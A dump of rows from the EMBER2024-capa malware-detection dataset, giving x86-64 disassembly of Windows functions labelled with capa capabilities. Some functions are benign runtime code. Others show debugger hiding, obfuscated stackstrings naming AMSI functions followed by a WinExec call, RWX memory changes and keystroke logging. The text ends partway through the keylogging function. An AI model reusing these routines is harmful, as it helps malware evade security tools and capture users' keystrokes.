joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180064120
Capabilities:
Hash data with crc32

Disassembly:
push rdi
sub rsp, 0x20
test dword [rcx + 0x10], 0x100000
mov rdi, rdx
je 0x1800641ac
movzx r9d, byte [rdx]
lea r8, [rdx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x180064180
lea r11, [0x1800b2890]
nop
cmp r9b, 0x23
jne 0x180064163
cmp byte [r8], r9b
jne 0x180064163
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180064150
mov rcx, qword [0x1800f5bb0]
not eax
cmp dword [rcx + 0x3f38], eax
jne 0x180064197
mov dword [rcx + 0x3f3c], eax
cmp dword [rcx + 0x3f68], eax
jne 0x180064209
mov byte [rcx + 0x3f6c], 1
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x1800f5bb0]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov qword [rsp + 0x38], rsi
mov rbx, qword [rax + 0x3ed8]
movsxd rax, dword [rbx + 0xf0]
mov r8, qword [rbx + 0xf8]
mov r8d, dword [r8 + rax*4 - 4]
call fcn.180019cd0
mov rcx, qword [rbx]
mov esi, eax
mov rbx, qword [rsp + 0x30]
cmp dword [rcx + 0x3f20], eax
jne 0x180064202
mov r8, rdi
mov edx, 0xb
mov ecx, eax
call fcn.180033cd0
mov eax, esi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800700f0
Capabilities:
Hide thread from debugger

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180070136
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
mov rcx, rbx
call rax
test eax, eax
jne 0x180070132
mov al, 1
jmp 0x180070136
jmp 0x180070136
add rsp, 0x20
pop rbx
ret
Function at 0x180074c30
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov rbx, qword [0x1800f5bb0]
xorps xmm0, xmm0
mov rdi, rdx
movss xmm1, dword [rbx + 0x381c]
call fcn.18002aac0
movups xmm0, xmmword [rbx + 0x38a4]
lea rcx, [rbx + 0x4828]
mov dword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
movups xmmword [rsp + 0x44], xmm0
call fcn.180034220
mov dword [rbx + 0x38a4], 0x3f7ae148
lea rcx, str.Link
mov dword [rbx + 0x38a8], 0x3edc28f6
mov dword [rbx + 0x38ac], 0x3f1eb852
mov dword [rbx + 0x38b0], 0x3f800000
call fcn.18004ef10
mov r8, qword [0x1800f5bb0]
movsxd rax, dword [r8 + 0x4828]
cmp eax, 1
jl 0x180074ced
mov rcx, qword [r8 + 0x4830]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x38a4], xmm0
dec dword [r8 + 0x4828]
xor ecx, ecx
call fcn.18001ec60
test al, al
je 0x180074dcb
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1800288a0
test al, al
je 0x180074d2d
mov dword [rsp + 0x28], 5
xor r9d, r9d
mov r8, rdi
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8, qword [0x1800f5bb0]
lea rcx, [rsp + 0x40]
movups xmm0, xmmword [r8 + 0x3a04]
mov rax, qword [r8 + 0x3ed8]
movsd xmm1, qword [r8 + 0x4784]
movaps xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [r8 + 0x478c]
movaps xmm2, xmm0
movsd qword [rsp + 0x70], xmm1
shufps xmm2, xmm2, 0x55
movss dword [rsp + 0x74], xmm2
movsd qword [rsp + 0x30], xmm0
mov byte [rax + 0xb8], 1
call fcn.18001a250
mov rcx, qword [r8 + 0x3ed8]
lea rdx, [rsp + 0x70]
movss xmm0, dword [0x1800e2228]
lea r8, [rsp + 0x30]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a0]
call fcn.1800434f0
mov rdx, rdi
lea rcx, str.Open_in_browser_n_s
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
jmp fcn.18002bb40
mov r8, qword [0x1800f5bb0]
lea rcx, [rsp + 0x40]
movups xmm0, xmmword [r8 + 0x39f4]
mov rax, qword [r8 + 0x3ed8]
movsd xmm1, qword [r8 + 0x4784]
movaps xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [r8 + 0x478c]
movaps xmm2, xmm0
movsd qword [rsp + 0x70], xmm1
shufps xmm2, xmm2, 0x55
movss dword [rsp + 0x74], xmm2
movsd qword [rsp + 0x30], xmm0
mov byte [rax + 0xb8], 1
call fcn.18001a250
mov rcx, qword [r8 + 0x3ed8]
lea rdx, [rsp + 0x70]
movss xmm0, dword [0x1800e2228]
lea r8, [rsp + 0x30]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a0]
call fcn.1800434f0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x180075054
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x18007508e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x180075093
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800750dc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800a6600]
cmp byte [rcx + rax], 0
je 0x1800750dc
dec r8
sub rdx, 1
jne 0x1800750c2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x180086e8c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180077220
sub rsp, rax
mov rax, qword [0x1800f3080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18008cc10
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180086edb
mov rax, rbp
jmp 0x180086fe3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xf5420]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18009328c
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xf5420]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180086fdf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180086fdf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18009328c
test rax, rax
js 0x180086fdf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180086fdf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180086fd1
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180086fd1
cmp byte [rcx], 0xd
jne 0x180086fb7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180086fc6
cmp byte [rcx + 1], 0xa
jne 0x180086fc6
inc rcx
jmp 0x180086fc6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xf34b0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180086f99
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180086fe3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1800771f0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18008a54c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x18008a583
call fcn.180082f88
mov dword [rax], 0x16
call fcn.180086a4c
xor eax, eax
jmp 0x18008a611
mov rdx, r9
mov rcx, r8
call fcn.18008a4e8
mov rbx, rax
test rax, rax
je 0x18008a60e
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x18008a414]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x18008a5fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.180082efc
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x18008a5e2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x18008a5f1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1800900d0
jmp 0x18008a60e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18008a60b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x18008cd30
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18008cd46
mov al, 1
jmp 0x18008cda6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18008cd57
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18008cda4
mov ecx, dword [rcx + 0x18]
nop
call fcn.180096f2c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18008cda4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18008cda4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18008cda4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18008cda6
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18009262c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800f5420]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180092683
cmp word [rdx], r13w
jne 0x180092683
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180092688
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1800927ad
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800927ce
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1800926c1
mov rdx, r9
mov word [rbx], cx
jmp 0x1800926e8
cmp r9, r8
jae 0x1800926f8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1800926a2
jmp 0x1800927ad
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800927a2
cmp dword [rsp + 0x80], esi
je 0x1800927a2
lea r8, [0x1800f5420]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18009277a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18009274a
mov word [rbx], r13w
jmp 0x1800927aa
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180092757
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1800927aa
cmp word [rsp + 0x70], r13w
jne 0x180092787
cmp rbx, r14
je 0x180092744
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180093294
cmp word [rsp + 0x70], r13w
je 0x1800927ad
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800f5420]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1800927a7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1800927ad
Function at 0x180096770
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800967a0
xor eax, eax
jmp 0x180096863
mov rbp, rbx
cmp word [rax], si
je 0x1800967c5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800967ac
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800967a8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180094e88
movsxd r14, eax
test eax, eax
jne 0x180096803
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180096799
mov rcx, r14
call fcn.180091380
mov rdi, rax
test rax, rax
jne 0x18009681c
xor ecx, ecx
call fcn.1800900d0
jmp 0x1800967f8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180094e88
test eax, eax
jne 0x18009684d
mov rcx, rdi
call fcn.1800900d0
jmp 0x180096857
xor ecx, ecx
call fcn.1800900d0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800995d8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18008d234
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180099679
cmp ebx, dword [rsp + 0x30]
je 0x180099672
test esi, esi
je 0x180099672
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18009964d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18009965a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180099637
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18009965e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18009967b
mov eax, 1
jmp 0x18009967b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18009d904
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180093294
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180093294
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18009da54
cmp rax, 0xffffffffffffffff
je 0x18009da54
xor edi, edi
test rbp, rbp
jle 0x18009d9ff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800906bc
mov rbx, rax
test rax, rax
jne 0x18009d98c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18009d9f5
mov edx, 0x8000
mov ecx, r14d
call fcn.18009d788
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18008fb68
cmp eax, 0xffffffff
je 0x18009d9d5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18009d99c
mov edx, r15d
mov ecx, r14d
call fcn.18009d788
jmp 0x18009d9f5
cmp byte [rsi + 0x38], dil
je 0x18009d9ec
cmp dword [rsi + 0x34], 5
jne 0x18009d9ec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18009d9f5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800900d0
jmp 0x18009da68
jns 0x18009da68
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180093294
cmp rax, 0xffffffffffffffff
jne 0x18009da20
cmp byte [rsi + 0x30], dil
je 0x18009da68
mov edi, dword [rsi + 0x2c]
jmp 0x18009da68
mov ecx, r14d
call fcn.180096f2c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18009da68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18009da68
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18009da61
mov eax, dword [rsi + 0x2c]
jmp 0x18009da66
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180093294
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18009e540
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18009e568
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18009e568
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x613c192b
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x650
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5c0], 0x416d7369
mov byte [rbp + 0x5c4], 0
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x6e53657373696f6e
mov qword [rbp + 0x5b0], rax
movabs rax, 0x416d73694f7065
mov qword [rbp + 0x5b8], rax
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x616e537472696e67
mov qword [rbp + 0x5a0], rax
mov dword [rbp + 0x5a8], 0x73695363
mov word [rbp + 0x5ac], 0x416d
mov byte [rbp + 0x5ae], 0
lea rax, [rbp + 0x5a0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x616e427566666572
mov qword [rbp + 0x590], rax
mov dword [rbp + 0x598], 0x73695363
mov word [rbp + 0x59c], 0x416d
mov byte [rbp + 0x59e], 0
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x30]
lea rax, section.._____1
mov ecx, 0xb7
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
lea rdx, [rdx + 4]
lea rax, [rax + 4]
movzx ecx, word [rax]
mov word [rdx], cx
lea rdx, [rdx + 2]
lea rax, [rax + 2]
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
movabs rax, 0x5c6161612e626174
mov qword [rbp - 0x50], rax
movabs rax, 0x73797374656d3332
mov qword [rbp - 0x48], rax
movabs rax, 0x696e646f7773205c
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 0x433a5c77
mov byte [rbp - 0x34], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x7275655369676874
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x58], 0x5c2e5c54
mov word [rbp - 0x54], 0x5c
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp - 0x50]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
Function at 0x613c1c50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x613c8024]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x613c1d6a
mov rax, qword [0x613c8028]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x613c1c9e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x613c1d50
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x613c1c82
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x613c1da2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x613c8028]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x613c8028]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x613c1d85
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x613c1d49
sub eax, 0x40
and eax, 0xffffffbf
je 0x613c1d49
mov r9, rbp
add r9, qword [0x613c8028]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x613c1d71
add dword [0x613c8024], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp 0x613c2fd0
xor ebp, ebp
jmp 0x613c1cab
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x613c5078]
mov edx, eax
call dbg.__report_error
mov rax, qword [0x613c8028]
mov edx, dword [r12 + 8]
lea rcx, [0x613c5040]
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, [0x613c5020]
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]
jmp qword [sym.imp.msvcrt.dll_memcpy]

Function at 0x613c2980
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x613c29c1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x613c29b8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x613c29c3
add rax, 0x28
cmp rax, r9
jne 0x613c29a4
xor eax, eax
repz ret

Function at 0x613c2a70
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x613c5190]
cmp word [rbx], 0x5a4d
je 0x613c2a90
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.613c2940
test eax, eax
je 0x613c2a84
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x613c2cf0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x613c8900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x613c88e0]
test rbx, rbx
je 0x613c2d44
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x613c2d3b
test rsi, rsi
je 0x613c2d3b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x613c2d20
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x613c8900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x140006d44
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140102040]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor esi, esi
cmp byte [0x140103735], sil
je 0x140006e3f
lea ecx, [rsi + 0x20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rcx, qword [0x140103788]
movzx edi, ax
test rcx, rcx
je 0x140006da6
mov edx, dword [0x140102188]
lea r8, [rbp - 0x40]
add rdx, rcx
call fcn.1400127d0
mov bl, byte [rbp - 0x40]
lea rdx, [rbp - 0x38]
mov r14d, 1
